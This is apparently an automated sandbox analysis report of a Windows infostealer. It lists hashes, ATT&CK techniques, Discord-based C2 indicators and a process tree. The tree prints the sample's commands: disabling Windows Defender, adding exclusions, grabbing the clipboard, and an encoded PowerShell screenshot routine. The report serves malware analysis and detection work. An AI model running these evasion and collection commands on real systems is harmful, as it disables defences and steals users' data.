b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c

Analysis

max time kernel
143s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
12-02-2024 04:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe
Size

5.9MB
MD5

f917c77f60c3c1ac6dbbadbf366ddd30
SHA1

7614669bcb33170bbb3df2f95a5fbe3328e4bdff
SHA256

b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c
SHA512

3610dec0b646a53ea8a35d3f83c580b32e6d41c4a4ffac81bc715d2aad5125c3377a368917a7f63269ad57140322cd12dfa80b8aa5af90efd36fca964087f8f3
SSDEEP

98304:rRF+nhjji65sn6Wfz7pnxCjJaWlpx1dstaNoSwKHf1c3z5MOueAeFp9hjkrw0ZUc:rOnrDOYjJlpZstQoS9Hf12VKXybjCM5u

Score

7^/10

spyware stealer upx

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2220	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe
3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe
3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe
3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe
3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe
3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe
3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe
3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe
3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe
3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe
3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe
3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe
3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe
3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe
3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe
3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe
3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0006000000023238-21.dat	upx
behavioral2/files/0x0006000000023238-22.dat	upx
behavioral2/memory/3732-25-0x00007FF815700000-0x00007FF815B65000-memory.dmp	upx
behavioral2/files/0x000600000002322b-27.dat	upx
behavioral2/files/0x000600000002322d-41.dat	upx
behavioral2/memory/3732-47-0x00007FF816B90000-0x00007FF816BB4000-memory.dmp	upx
behavioral2/files/0x0006000000023232-46.dat	upx
behavioral2/memory/3732-48-0x00007FF81BDA0000-0x00007FF81BDAF000-memory.dmp	upx
behavioral2/files/0x0006000000023231-45.dat	upx
behavioral2/files/0x0006000000023230-44.dat	upx
behavioral2/files/0x000600000002322f-43.dat	upx
behavioral2/files/0x000600000002322e-42.dat	upx
behavioral2/files/0x0006000000023235-32.dat	upx
behavioral2/files/0x0006000000023236-30.dat	upx
behavioral2/files/0x000600000002322c-40.dat	upx
behavioral2/files/0x000600000002322a-39.dat	upx
behavioral2/files/0x000600000002323d-38.dat	upx
behavioral2/files/0x000600000002323c-37.dat	upx
behavioral2/files/0x000600000002323b-36.dat	upx
behavioral2/memory/3732-56-0x00007FF81AD40000-0x00007FF81AD58000-memory.dmp	upx
behavioral2/memory/3732-58-0x00007FF816280000-0x00007FF81629E000-memory.dmp	upx
behavioral2/memory/3732-54-0x00007FF8163D0000-0x00007FF8163FC000-memory.dmp	upx
behavioral2/files/0x000600000002323c-59.dat	upx
behavioral2/memory/3732-60-0x00007FF815580000-0x00007FF8156F1000-memory.dmp	upx
behavioral2/files/0x0006000000023237-33.dat	upx
behavioral2/memory/3732-62-0x00007FF815F60000-0x00007FF815F79000-memory.dmp	upx
behavioral2/memory/3732-64-0x00007FF81BD90000-0x00007FF81BD9D000-memory.dmp	upx
behavioral2/memory/3732-66-0x00007FF815C60000-0x00007FF815C8E000-memory.dmp	upx
behavioral2/memory/3732-68-0x00007FF806CC0000-0x00007FF806D77000-memory.dmp	upx
behavioral2/files/0x0006000000023235-69.dat	upx
behavioral2/memory/3732-71-0x00007FF815700000-0x00007FF815B65000-memory.dmp	upx
behavioral2/files/0x0006000000023235-70.dat	upx
behavioral2/memory/3732-72-0x00007FF806940000-0x00007FF806CB7000-memory.dmp	upx
behavioral2/files/0x000600000002322f-76.dat	upx
behavioral2/memory/3732-79-0x00007FF815C40000-0x00007FF815C55000-memory.dmp	upx
behavioral2/memory/3732-81-0x00007FF815C30000-0x00007FF815C3D000-memory.dmp	upx
behavioral2/memory/3732-82-0x00007FF806820000-0x00007FF806938000-memory.dmp	upx
behavioral2/memory/3732-75-0x00007FF816B90000-0x00007FF816BB4000-memory.dmp	upx
behavioral2/memory/3732-88-0x00007FF816280000-0x00007FF81629E000-memory.dmp	upx
behavioral2/memory/3732-151-0x00007FF815F60000-0x00007FF815F79000-memory.dmp	upx
behavioral2/memory/3732-101-0x00007FF815580000-0x00007FF8156F1000-memory.dmp	upx
behavioral2/memory/3732-168-0x00007FF815C60000-0x00007FF815C8E000-memory.dmp	upx
behavioral2/memory/3732-184-0x00007FF806940000-0x00007FF806CB7000-memory.dmp	upx
behavioral2/memory/3732-178-0x00007FF806CC0000-0x00007FF806D77000-memory.dmp	upx
behavioral2/memory/3732-286-0x00007FF815700000-0x00007FF815B65000-memory.dmp	upx
behavioral2/memory/3732-291-0x00007FF816280000-0x00007FF81629E000-memory.dmp	upx
behavioral2/memory/3732-287-0x00007FF816B90000-0x00007FF816BB4000-memory.dmp	upx
behavioral2/memory/3732-301-0x00007FF815580000-0x00007FF8156F1000-memory.dmp	upx
behavioral2/memory/3732-361-0x00007FF815700000-0x00007FF815B65000-memory.dmp	upx
behavioral2/memory/3732-377-0x00007FF816B90000-0x00007FF816BB4000-memory.dmp	upx
behavioral2/memory/3732-386-0x00007FF806CC0000-0x00007FF806D77000-memory.dmp	upx
behavioral2/memory/3732-390-0x00007FF806820000-0x00007FF806938000-memory.dmp	upx
behavioral2/memory/3732-389-0x00007FF815C30000-0x00007FF815C3D000-memory.dmp	upx
behavioral2/memory/3732-388-0x00007FF815C40000-0x00007FF815C55000-memory.dmp	upx
behavioral2/memory/3732-387-0x00007FF806940000-0x00007FF806CB7000-memory.dmp	upx
behavioral2/memory/3732-385-0x00007FF815C60000-0x00007FF815C8E000-memory.dmp	upx
behavioral2/memory/3732-384-0x00007FF81BD90000-0x00007FF81BD9D000-memory.dmp	upx
behavioral2/memory/3732-383-0x00007FF815F60000-0x00007FF815F79000-memory.dmp	upx
behavioral2/memory/3732-382-0x00007FF815580000-0x00007FF8156F1000-memory.dmp	upx
behavioral2/memory/3732-381-0x00007FF816280000-0x00007FF81629E000-memory.dmp	upx
behavioral2/memory/3732-380-0x00007FF81AD40000-0x00007FF81AD58000-memory.dmp	upx
behavioral2/memory/3732-379-0x00007FF8163D0000-0x00007FF8163FC000-memory.dmp	upx
behavioral2/memory/3732-378-0x00007FF81BDA0000-0x00007FF81BDAF000-memory.dmp	upx
behavioral2/memory/3732-376-0x00007FF815700000-0x00007FF815B65000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
24	discord.com
25	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3652	WMIC.exe

Enumerates processes with tasklist 1 TTPs 3 IoCs

Process Discovery

T1057

pid	Process
3564	tasklist.exe
4112	tasklist.exe
2532	tasklist.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3296	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
4852	powershell.exe
2548	powershell.exe
2548	powershell.exe
2220	rar.exe
2220	rar.exe
212	powershell.exe
212	powershell.exe
4852	powershell.exe
4852	powershell.exe
2548	powershell.exe
2548	powershell.exe
2220	rar.exe
1200	powershell.exe
1200	powershell.exe
212	powershell.exe
1200	powershell.exe
3188	powershell.exe
3188	powershell.exe
540	powershell.exe
540	powershell.exe
644	powershell.exe
644	powershell.exe
816	powershell.exe
816	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4852	powershell.exe
Token: SeDebugPrivilege	2548	powershell.exe
Token: SeDebugPrivilege	3564	tasklist.exe
Token: SeDebugPrivilege	2220	rar.exe
Token: SeDebugPrivilege	4112	tasklist.exe
Token: SeDebugPrivilege	212	powershell.exe
Token: SeIncreaseQuotaPrivilege	4728	cmd.exe
Token: SeSecurityPrivilege	4728	cmd.exe
Token: SeTakeOwnershipPrivilege	4728	cmd.exe
Token: SeLoadDriverPrivilege	4728	cmd.exe
Token: SeSystemProfilePrivilege	4728	cmd.exe
Token: SeSystemtimePrivilege	4728	cmd.exe
Token: SeProfSingleProcessPrivilege	4728	cmd.exe
Token: SeIncBasePriorityPrivilege	4728	cmd.exe
Token: SeCreatePagefilePrivilege	4728	cmd.exe
Token: SeBackupPrivilege	4728	cmd.exe
Token: SeRestorePrivilege	4728	cmd.exe
Token: SeShutdownPrivilege	4728	cmd.exe
Token: SeDebugPrivilege	4728	cmd.exe
Token: SeSystemEnvironmentPrivilege	4728	cmd.exe
Token: SeRemoteShutdownPrivilege	4728	cmd.exe
Token: SeUndockPrivilege	4728	cmd.exe
Token: SeManageVolumePrivilege	4728	cmd.exe
Token: 33	4728	cmd.exe
Token: 34	4728	cmd.exe
Token: 35	4728	cmd.exe
Token: 36	4728	cmd.exe
Token: SeDebugPrivilege	2532	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4728	cmd.exe
Token: SeSecurityPrivilege	4728	cmd.exe
Token: SeTakeOwnershipPrivilege	4728	cmd.exe
Token: SeLoadDriverPrivilege	4728	cmd.exe
Token: SeSystemProfilePrivilege	4728	cmd.exe
Token: SeSystemtimePrivilege	4728	cmd.exe
Token: SeProfSingleProcessPrivilege	4728	cmd.exe
Token: SeIncBasePriorityPrivilege	4728	cmd.exe
Token: SeCreatePagefilePrivilege	4728	cmd.exe
Token: SeBackupPrivilege	4728	cmd.exe
Token: SeRestorePrivilege	4728	cmd.exe
Token: SeShutdownPrivilege	4728	cmd.exe
Token: SeDebugPrivilege	4728	cmd.exe
Token: SeSystemEnvironmentPrivilege	4728	cmd.exe
Token: SeRemoteShutdownPrivilege	4728	cmd.exe
Token: SeUndockPrivilege	4728	cmd.exe
Token: SeManageVolumePrivilege	4728	cmd.exe
Token: 33	4728	cmd.exe
Token: 34	4728	cmd.exe
Token: 35	4728	cmd.exe
Token: 36	4728	cmd.exe
Token: SeDebugPrivilege	1200	powershell.exe
Token: SeDebugPrivilege	3188	powershell.exe
Token: SeDebugPrivilege	540	powershell.exe
Token: SeIncreaseQuotaPrivilege	2564	WMIC.exe
Token: SeSecurityPrivilege	2564	WMIC.exe
Token: SeTakeOwnershipPrivilege	2564	WMIC.exe
Token: SeLoadDriverPrivilege	2564	WMIC.exe
Token: SeSystemProfilePrivilege	2564	WMIC.exe
Token: SeSystemtimePrivilege	2564	WMIC.exe
Token: SeProfSingleProcessPrivilege	2564	WMIC.exe
Token: SeIncBasePriorityPrivilege	2564	WMIC.exe
Token: SeCreatePagefilePrivilege	2564	WMIC.exe
Token: SeBackupPrivilege	2564	WMIC.exe
Token: SeRestorePrivilege	2564	WMIC.exe
Token: SeShutdownPrivilege	2564	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3348 wrote to memory of 3732	3348	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	78
PID 3348 wrote to memory of 3732	3348	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	78
PID 3732 wrote to memory of 5100	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	102
PID 3732 wrote to memory of 5100	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	102
PID 3732 wrote to memory of 1348	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	101
PID 3732 wrote to memory of 1348	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	101
PID 3732 wrote to memory of 1488	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	98
PID 3732 wrote to memory of 1488	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	98
PID 3732 wrote to memory of 4556	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	85
PID 3732 wrote to memory of 4556	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	85
PID 1488 wrote to memory of 4572	1488	cmd.exe	93
PID 1488 wrote to memory of 4572	1488	cmd.exe	93
PID 5100 wrote to memory of 2220	5100	cmd.exe	154
PID 5100 wrote to memory of 2220	5100	cmd.exe	154
PID 1348 wrote to memory of 4852	1348	cmd.exe	92
PID 1348 wrote to memory of 4852	1348	cmd.exe	92
PID 4556 wrote to memory of 2548	4556	cmd.exe	87
PID 4556 wrote to memory of 2548	4556	cmd.exe	87
PID 3732 wrote to memory of 2728	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	91
PID 3732 wrote to memory of 2728	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	91
PID 3732 wrote to memory of 3432	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	90
PID 3732 wrote to memory of 3432	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	90
PID 3732 wrote to memory of 3548	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	99
PID 3732 wrote to memory of 1904	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	136
PID 3732 wrote to memory of 3548	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	99
PID 3732 wrote to memory of 1904	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	136
PID 3732 wrote to memory of 4140	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	114
PID 3732 wrote to memory of 4140	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	114
PID 3732 wrote to memory of 3652	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	172
PID 3732 wrote to memory of 4272	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	115
PID 3732 wrote to memory of 3652	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	172
PID 3732 wrote to memory of 4272	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	115
PID 3732 wrote to memory of 4016	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	116
PID 3732 wrote to memory of 4016	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	116
PID 2728 wrote to memory of 4112	2728	cmd.exe	113
PID 2728 wrote to memory of 4112	2728	cmd.exe	113
PID 3732 wrote to memory of 2740	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	112
PID 3732 wrote to memory of 2740	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	112
PID 3432 wrote to memory of 3564	3432	cmd.exe	107
PID 3432 wrote to memory of 3564	3432	cmd.exe	107
PID 3548 wrote to memory of 212	3548	cmd.exe	108
PID 3548 wrote to memory of 212	3548	cmd.exe	108
PID 1904 wrote to memory of 4728	1904	cvtres.exe	157
PID 1904 wrote to memory of 4728	1904	cvtres.exe	157
PID 4016 wrote to memory of 3296	4016	cmd.exe	120
PID 4016 wrote to memory of 3296	4016	cmd.exe	120
PID 2740 wrote to memory of 4356	2740	cmd.exe	121
PID 2740 wrote to memory of 4356	2740	cmd.exe	121
PID 4272 wrote to memory of 756	4272	cmd.exe	124
PID 4272 wrote to memory of 756	4272	cmd.exe	124
PID 3652 wrote to memory of 2532	3652	WMIC.exe	122
PID 3652 wrote to memory of 2532	3652	WMIC.exe	122
PID 4140 wrote to memory of 1200	4140	cmd.exe	123
PID 4140 wrote to memory of 1200	4140	cmd.exe	123
PID 3732 wrote to memory of 1260	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	126
PID 3732 wrote to memory of 1260	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	126
PID 1260 wrote to memory of 3088	1260	cmd.exe	127
PID 1260 wrote to memory of 3088	1260	cmd.exe	127
PID 3732 wrote to memory of 1816	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	129
PID 3732 wrote to memory of 1816	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	129
PID 1816 wrote to memory of 4900	1816	cmd.exe	148
PID 1816 wrote to memory of 4900	1816	cmd.exe	148
PID 3732 wrote to memory of 1800	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	130
PID 3732 wrote to memory of 1800	3732	b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe	130

C:\Users\Admin\AppData\Local\Temp\b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe
"C:\Users\Admin\AppData\Local\Temp\b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3348
- C:\Users\Admin\AppData\Local\Temp\b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe
  "C:\Users\Admin\AppData\Local\Temp\b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:3732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  .scr'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4556
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  .scr'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3432
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2728
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Installed successfully!', 0, 'Information', 48+16);close()""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3548
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    PID:1904
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      PID:4728
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2740
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0A